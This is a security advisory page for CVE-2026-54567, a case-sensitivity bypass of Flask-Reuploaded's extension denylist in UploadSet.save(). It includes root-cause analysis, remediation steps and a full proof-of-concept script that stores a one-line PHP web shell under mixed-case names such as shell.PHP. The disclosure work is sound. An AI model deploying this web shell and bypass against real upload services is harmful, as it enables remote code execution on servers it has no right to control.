Skip to main content

Flask-Reuploaded CVE-2026-54567

HIGH
Improper Handling of Case Sensitivity (CWE-178)
2026-07-17 https://github.com/jugmac00/flask-reuploaded GHSA-937x-gpqr-72gg
7.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI
7.5 HIGH

AC:H because three independent preconditions (denylist config, user-controlled name, case-insensitive execution surface) must coincide; PR:L for typically authenticated upload endpoints; C/I/A:H reflect RCE under the web server on execution-capable dirs.

3.1 AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 17, 2026 - 20:38 vuln.today
Analysis Generated
Jul 17, 2026 - 20:38 vuln.today
CVE Published
Jul 17, 2026 - 20:11 github-advisory
HIGH 7.5

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 3 pypi packages depend on flask-reuploaded (3 direct, 0 indirect)

Ecosystem-wide dependent count for version 1.6.0.

DescriptionGitHub Advisory

1. Header

FieldValue
TitleExtension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641)
ProjectFlask-Reuploaded (flask_uploads)
Affected<= 1.5.0 (latest release; commit ae31c3f91da40b465ca5e8f57d93f063b4553e23)
RelationshipIncomplete-fix variant of CVE-2026-27641 (fixed in v1.5.0; this variant survives that fix)
CWECWE-434 (Unrestricted Upload of File with Dangerous Type) + CWE-178 (Improper Handling of Case Sensitivity)
CVSS v3.1 (proposed)~7.0-7.3 (High, conditional) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H. Final score deferred to maintainer.
Verified againstpip install Flask-Reuploaded==1.5.0, Python 3.11

---

2. Decisive evidence - the asymmetry

The v1.5.0 fix for CVE-2026-27641 added an extension re-validation that runs when a caller supplies a name override to UploadSet.save(). It is routed through the case-preserving extension() helper, whereas the default upload path normalizes to lowercase via lowercase_ext() (inside get_basename()). The two paths disagree on case:

default path     : get_basename("shell.PHP")
                   = lowercase_ext(secure_filename("shell.PHP")) = "shell.php"
                   -> extension("shell.php") = "php"
                   -> extension_allowed("php")  -> DENY      (correct)

name-override    : secure_filename("shell.PHP") = "shell.PHP"   (case preserved)
                   -> basename = "shell.PHP"
                   -> ext = extension("shell.PHP") = "PHP"        (NOT lowercased)
                   -> extension_allowed("PHP")  -> ALLOW         (bypass)

On a denylist UploadSet the allow-check returns True for the mixed-case form:

python
# extensions.py:97
def __contains__(self, item): return item not in self.items
# "PHP" not in ('js','php','pl','py','rb','sh')  ->  True   ->  allowed

extension_allowed("PHP") passes the denylist that extension_allowed("php") is blocked by.

---

3. Vulnerability summary

UploadSet.save(storage, name=...) lets the caller override the stored filename. After the CVE-2026-27641 fix, name is sanitized with secure_filename() and its extension re-validated. Because the re-validation compares a case-preserving extension against a policy whose denied tokens are lowercase, an attacker controlling name stores a file with a denied extension by varying case (shell.PHP, evil.pHp). On servers that resolve/execute extensions case-insensitively (Windows/macOS filesystems; Apache AddHandler/AddType), this re-enables the dangerous-upload → code-execution outcome the parent CVE addressed. The bypassed config is the one the library's own docs recommend for blocking scripts (see §6).

---

4. Affected components

Permalinks pinned to commit ae31c3f91da40b465ca5e8f57d93f063b4553e23 (v1.5.0).

RoleLocation
Normalizing helper (default path)src/flask_uploads/flask_uploads.py:283 - return lowercase_ext(secure_filename(filename))
save() entrysrc/flask_uploads/flask_uploads.py:285
name-override sanitizesrc/flask_uploads/flask_uploads.py:333 - name = secure_filename(name)
name-override assign (case kept)src/flask_uploads/flask_uploads.py:341 - basename = name
Re-validation (non-normalizing)src/flask_uploads/flask_uploads.py:344 - ext = extension(basename)
Allow-checksrc/flask_uploads/flask_uploads.py:345
Policy checksrc/flask_uploads/flask_uploads.py:268 - extension_allowed
Containment backstop (path only)src/flask_uploads/flask_uploads.py:364
Sinksrc/flask_uploads/flask_uploads.py:374 - storage.save(target)
Case-preserving extractorsrc/flask_uploads/extensions.py:101 - def extension
Case-normalizing extractorsrc/flask_uploads/extensions.py:109 - def lowercase_ext
Denylist membershipsrc/flask_uploads/extensions.py:97 - AllExcept.__contains__
Documented script denylistsrc/flask_uploads/extensions.py:34-35

---

5. Taint analysis

  • Source: the name argument of UploadSet.save(storage, name=...) - commonly user-derived; the parent CVE-2026-27641 already treats name as attacker-controllable.
  • Guard (asymmetric): secure_filename(name) stops traversal, but the extension policy check at :344-345 uses non-normalizing extension() against a lowercase-tokened policy. The realpath containment at :364 constrains the *path*, not the *extension* - orthogonal to this bypass.
  • Sink: storage.save(target) at :374 writes the attacker-extensioned file into the served upload directory.

---

6. CVSS justification (preconditions stated honestly)

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H7.0-7.3 (High).

  • AV:N - web upload endpoint.
  • AC:H - three preconditions (stated plainly):
  1. UploadSet uses a denylist - AllExcept(...) or populated config.deny. (Allowlists fail closed - §7c.)
  2. Application passes a user-influenced name to save().
  3. Deployment resolves/executes extensions case-insensitively (Windows/macOS FS; Apache AddHandler/AddType).
  • PR:L - uploads typically authenticated. UI:N. S:U. C:H/I:H/A:H - RCE under the web server's privileges on execution-capable upload dirs.

Why High, not a contrived misconfiguration - the bypassed control is the library's documented script-blocking mechanism:

  • extensions.py:34-35 - SCRIPTS: *"…you might want to add `php` to the DENY setting."*
  • extensions.py:24-26 - EXECUTABLES: *"…it's better suited for use with AllExcept."*

An app that followed this guidance to block scripts is exactly what this variant defeats.

Not claimed: not Critical. Pure allowlists are unaffected; execution requires a case-insensitive surface. Final score deferred to the maintainer.

---

7. Proof of Concept (results)

Against shipped Flask-Reuploaded==1.5.0:

7a. Asymmetry

default path  : lowercase_ext("shell.PHP") -> "php" -> extension_allowed("php") -> DENY
name-override : secure_filename("shell.PHP") -> "shell.PHP" -> extension(...) -> "PHP" -> extension_allowed("PHP") -> ALLOW

7b. End-to-end (denylist AllExcept(SCRIPTS))

[1] save(storage("shell.PHP"))                              -> UploadNotAllowed   (default path blocked)
[2] save(storage("upload.bin"), name="shell.PHP")           -> saved "shell.PHP", on_disk=True   (BYPASS)
[2b] save(storage("upload.bin"), name="evil.pHp")           -> saved "evil.pHp",  on_disk=True; containment intact

7c. Negative controls

[3] allowlist IMAGES, name="shell.PHP"  -> UploadNotAllowed: File extension 'PHP' is not allowed  (fail-closed)
[4] allowlist IMAGES, name="photo.jpg"  -> saved "photo.jpg"                                       (legit unaffected)

---

8. Patch pattern (internal precedent)

The project ships a case-normalizing extractor (lowercase_ext, used by get_basename) specifically so configured extensions are *"compare[d] … in the same case"* (its docstring). The v1.5.0 re-validation instead calls the case-preserving extension(), so the new guard does not match the normalization the rest of the system relies on - the classic incomplete-fix shape where a hand-rolled check diverges from the canonical normalizer.

---

9. Impact

  • Bypass of the documented extension denylist for scripts/executables.
  • Storage of .PHP / .pHp / mixed-case dangerous files inside the served upload directory (path containment holds; extension policy defeated).
  • On case-insensitive execution surfaces → remote code execution under the web server's privileges - the parent CVE's end impact, re-enabled on denylist deployments.

---

10. Suggested remediation

Normalize before the policy check so the name-override path matches the default path:

  1. ext = extension(basename).lower() (or extension(lowercase_ext(basename))) before extension_allowed.
  2. Or run the overridden basename through lowercase_ext() (as get_basename does) before both validation and save.
  3. Or make extension_allowed / the policy containers case-insensitive.

Option (1) or (2) is the minimal, behavior-preserving fix.

---

11. Evidence files

  • poc_case_fold.py (§12) - self-contained PoC; runs against pip install Flask-Reuploaded==1.5.0.
  • /tmp/flask_reuploaded_case_fold_proof.txt - captured verdict.
  • Source permalinks pinned to commit ae31c3f91da40b465ca5e8f57d93f063b4553e23.

---

12. Full PoC script (poc_case_fold.py)

python
"""
PoC - Flask-Reuploaded CVE-2026-27641 incomplete-fix variant
Case-folding asymmetry in the name-override extension re-validation.

Parent fix (v1.5.0) added an extension re-validation in UploadSet.save() when a
`name` override is supplied, but routed it through the CASE-PRESERVING
`extension()` helper instead of the CASE-NORMALIZING `lowercase_ext()` used by the
default upload path (get_basename -> lowercase_ext). On a denylist-style UploadSet
(AllExcept / config.deny), an uppercase/mixed-case extension therefore bypasses the
denylist that the default path correctly blocks.

  default path     : lowercase_ext("shell.PHP") -> "php" -> extension_allowed("php") -> DENY
  name-override    : secure_filename("shell.PHP") -> "shell.PHP" (case kept)
                     -> extension("shell.PHP")  -> "PHP" -> extension_allowed("PHP") -> ALLOW

Tested against the SHIPPED, patched Flask-Reuploaded==1.5.0.
"""
import io
import os
import shutil
import tempfile

from flask import Flask
from flask_uploads import (
    UploadSet, AllExcept, SCRIPTS, IMAGES, configure_uploads, UploadNotAllowed,
)
from werkzeug.datastructures import FileStorage
import flask_uploads


def make_storage(filename: str) -> FileStorage:
    return FileStorage(
        stream=io.BytesIO(b"<?php system($_GET['c']); ?>"),
        filename=filename,
        content_type="application/octet-stream",
    )


def run():
    import importlib.metadata as md
    print(f"[*] pip reports: Flask-Reuploaded=={md.version('Flask-Reuploaded')}")

    dest_denylist = tempfile.mkdtemp(prefix="fr_deny_")
    dest_allowlist = tempfile.mkdtemp(prefix="fr_allow_")

    app = Flask(__name__)
    files_deny = UploadSet("filesdeny", AllExcept(SCRIPTS))
# documented "allow all except scripts"
    files_allow = UploadSet("filesallow", IMAGES)
# allowlist (fail-closed)
    app.config["UPLOADED_FILESDENY_DEST"] = dest_denylist
    app.config["UPLOADED_FILESALLOW_DEST"] = dest_allowlist
    configure_uploads(app, (files_deny, files_allow))

    results = {}
    with app.app_context():
# [1] default path, denylist -> must DENY
        try:
            saved = files_deny.save(make_storage("shell.PHP"))
            results["default_path"] = f"SAVED as {saved}  <-- UNEXPECTED"
        except UploadNotAllowed:
            results["default_path"] = "DENIED (expected)"
# [2] name-override, denylist -> BYPASS
        try:
            saved = files_deny.save(make_storage("upload.bin"), name="shell.PHP")
            on_disk = os.path.join(dest_denylist, saved)
            results["variant"] = f"BYPASS - saved as {saved}, on_disk={os.path.exists(on_disk)}"
        except UploadNotAllowed:
            results["variant"] = "DENIED (variant did NOT reproduce)"
# [2b] mixed-case generality + containment intact
        try:
            saved = files_deny.save(make_storage("upload.bin"), name="evil.pHp")
            on_disk = os.path.join(dest_denylist, saved)
            inside = os.path.realpath(on_disk).startswith(os.path.realpath(dest_denylist))
            results["variant_mixed"] = f"BYPASS - saved as {saved}, inside_dest={inside}"
        except UploadNotAllowed:
            results["variant_mixed"] = "DENIED"
# [3] allowlist -> fail closed
        try:
            saved = files_allow.save(make_storage("real.jpg"), name="shell.PHP")
            results["allowlist"] = f"SAVED as {saved}  <-- allowlist leaked"
        except UploadNotAllowed:
            results["allowlist"] = "DENIED (expected - allowlist fails closed)"
# [4] legit upload -> allowed
        try:
            saved = files_allow.save(make_storage("real.jpg"), name="photo.jpg")
            results["legit"] = f"SAVED as {saved} (expected)"
        except UploadNotAllowed:
            results["legit"] = "DENIED (UNEXPECTED - legit upload broke)"

    print("VERDICT:")
    for k, v in results.items():
        print(f"   {k:14s}: {v}")

    confirmed = (
        "BYPASS" in results.get("variant", "")
        and results.get("default_path") == "DENIED (expected)"
        and "DENIED" in results.get("allowlist", "")
    )
    print("FLASK_REUPLOADED_CASE_FOLD_CONFIRMED" if confirmed else "VARIANT NOT CONFIRMED - honest cut")

    shutil.rmtree(dest_denylist, ignore_errors=True)
    shutil.rmtree(dest_allowlist, ignore_errors=True)


if __name__ == "__main__":
    run()

AnalysisAI

Extension-denylist bypass in the Flask-Reuploaded (flask_uploads) Python library allows an attacker who controls the name override passed to UploadSet.save() to store dangerous script files by varying letter case (e.g. shell.PHP, evil.pHp), defeating the very script-blocking denylist the library documents. This is an incomplete-fix variant of CVE-2026-27641: the v1.5.0 fix re-validated overridden names through the case-preserving extension() helper instead of the case-normalizing lowercase_ext() used by the default path, so uppercase extensions slip past a lowercase-tokened denylist. Publicly available exploit code exists (a self-contained PoC verified against Flask-Reuploaded==1.5.0), though there is no evidence of active exploitation and no EPSS score was provided.

Technical ContextAI

Flask-Reuploaded is a maintained fork of the archived Flask-Uploads extension providing file-upload handling for Flask web applications (pkg:pip/flask-reuploaded). The root cause is CWE-178 (Improper Handling of Case Sensitivity) manifesting as CWE-434 (Unrestricted Upload of File with Dangerous Type). Two extension-extraction helpers disagree: the default upload path uses get_basename() -> lowercase_ext() which normalizes 'shell.PHP' to 'php', but the name-override path added by the parent CVE's fix calls the case-preserving extension() on the secure_filename() output, yielding 'PHP'. The denylist container AllExcept.__contains__ (extensions.py:97) tests membership against lowercase tokens like ('js','php','pl','py','rb','sh'), so 'PHP' is not in the set and extension_allowed('PHP') returns True. The write sink is storage.save(target) at flask_uploads.py:374; realpath containment at :364 constrains the path but not the extension, so it does not mitigate this bypass.

RemediationAI

Vendor-released patch: upgrade to Flask-Reuploaded 1.6.0, which normalizes overridden filenames via lowercase_ext() before both extension validation and disk write (patch commit https://github.com/jugmac00/flask-reuploaded/commit/5ded76092429c6eb8a4af941b14fbde40a38fff4; advisory GHSA-937x-gpqr-72gg). If you cannot upgrade immediately, switch affected UploadSets from a denylist (AllExcept/config.deny) to an explicit allowlist of safe extensions, which fails closed against case variation as confirmed by the PoC - the trade-off is that you must enumerate every legitimate extension and legitimate uploads with unlisted extensions will be rejected. Alternatively, stop passing user-influenced values into the name argument of save() (let the library derive the basename), or lowercase the override yourself before calling save(); note this changes stored filenames to lowercase. As a defense-in-depth control, configure the upload directory to be non-executable (remove Apache AddHandler/AddType for scripts, or serve uploads from storage that never executes them), which removes the code-execution outcome at the cost of no longer serving those files as active content.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Share

CVE-2026-54567 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy